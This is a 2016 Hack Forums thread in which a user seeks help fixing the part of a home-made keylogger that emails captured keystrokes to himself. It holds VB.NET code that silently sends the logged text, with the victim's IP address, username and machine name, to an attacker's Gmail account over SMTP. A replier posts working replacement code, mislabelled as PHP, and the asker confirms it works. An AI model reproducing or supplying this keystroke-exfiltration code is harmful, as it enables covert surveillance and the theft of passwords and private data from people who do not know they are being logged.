Hack Forums
[.NET] Send Logs (of keylogger) through application - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] Send Logs (of keylogger) through application (/showthread.php?tid=5133716)



Send Logs (of keylogger) through application - ๖ۣۜDødøsky - Jan 14, 2016

Goodevening dear HackForums, as the title says i've encountered a little problem during my adventure in coding a tool which i have put a keylog function inside, the fact is that i tried to get working the email send function to send to myself the logs but it doesn't seem to work, so i was asking you if is there something wrong in the code
Code
Dim ip As String = New WebClient().DownloadString("http://bot.whatismyipaddress.com/")
        Try
            Dim SmtpServer As New SmtpClient()
            Dim mail As New MailMessage()
            SmtpServer.Credentials = New  _
        Net.NetworkCredential("e.e", "e.e")
            SmtpServer.Port = 587
            SmtpServer.Host = "smtp.gmail.com"
            mail = New MailMessage()
            mail.From = New MailAddress("e.e")
            mail.To.Add("e.e")
            mail.Subject = My.Computer.Name & "|" & ip
            mail.Body = TextBox1.Text
            SmtpServer.Send(mail)
            TextBox1.Text = ""
        Catch ex As Exception
        End Try

or simply if you could suggest me any other way to send the logs
thanks in advance


* - Odus - Jan 14, 2016

If your mail service is Gmail (which I'm guessing from the SMTP host), you must allow less secure apps access here: https://myaccount.google.com/security


* - ๖ۣۜDødøsky - Jan 14, 2016

(Jan 14, 2016 01:52 PM)Odus Wrote:  If your mail service is Gmail (which I'm guessing from the SMTP host), you must allow less secure apps access here: https://myaccount.google.com/security

tried and nothing ;(
any other clue?


* - Odus - Jan 14, 2016

(Jan 14, 2016 02:00 PM)๖ۣۜVekzy๖ۣۜHere Wrote:  tried and nothing ;(
any other clue?

Well you're swallowing a trapped exception, comment out the TryCatch block and let the debugger show you why it's not working.


* - AnonCensored - Jan 14, 2016

Are you sure all you're Information Is correct ? Also does it by any chance pop a error without the try ?

But I bumped Into a similar error as you like last month when i was making a simple keylogger too It was cause my allow secure was off but from the post above seems like you have it on so I'm not really sure whats wrong but

Here's a code I used when i sent my logs maybe this will work for you ? :D

PHP Code

<?php 
Try
            If 
My.Computer.Network.IsAvailable = True Then
                Dim Mail 
As New MailMessage
                Dim SMTP 
As New SmtpClient("smtp.gmail.com")

                
Mail.Subject = "Logs received from " + Environment.UserName + "/" + Environment.MachineName
                Mail
.From = New MailAddress("[email protected]")
                
SMTP.Credentials = New System.Net.NetworkCredential("[email protected]", "password")

                
Mail.To.Add("[email protected]")

                
Mail.Body = " Here are the logs from " + Now.ToString("dd MMMM yyyy") + textbox1.text

                SMTP
.EnableSsl = True
                SMTP
.Port = "587"
                
SMTP.Send(Mail)
            ElseIf 
My.Computer.Network.IsAvailable = False Then
                
' 
            End If
        Catch ex As Exception
            '   
MsgBox(ex.Message)
        
End Try 



* - ๖ۣۜDødøsky - Jan 14, 2016

(Jan 14, 2016 02:45 PM)AnonCensored Wrote:  Are you sure all you're Information Is correct ? Also does it by any chance pop a error without the try ?

But I bumped Into a similar error as you like last month when i was making a simple keylogger too It was cause my allow secure was off but from the post above seems like you have it on so I'm not really sure whats wrong but

Here's a code I used when i sent my logs maybe this will work for you ? :D

PHP Code

<?php 
Try
            If 
My.Computer.Network.IsAvailable = True Then
                Dim Mail 
As New MailMessage
                Dim SMTP 
As New SmtpClient("smtp.gmail.com")

                
Mail.Subject = "Logs received from " + Environment.UserName + "/" + Environment.MachineName
                Mail
.From = New MailAddress("[email protected]")
                
SMTP.Credentials = New System.Net.NetworkCredential("[email protected]", "password")

                
Mail.To.Add("[email protected]")

                
Mail.Body = " Here are the logs from " + Now.ToString("dd MMMM yyyy") + textbox1.text

                SMTP
.EnableSsl = True
                SMTP
.Port = "587"
                
SMTP.Send(Mail)
            ElseIf 
My.Computer.Network.IsAvailable = False Then
                
' 
            End If
        Catch ex As Exception
            '   
MsgBox(ex.Message)
        
End Try 


Will try tomorrow since im on my phone now :3

EDIT! THANKS MAN IT WORKS <3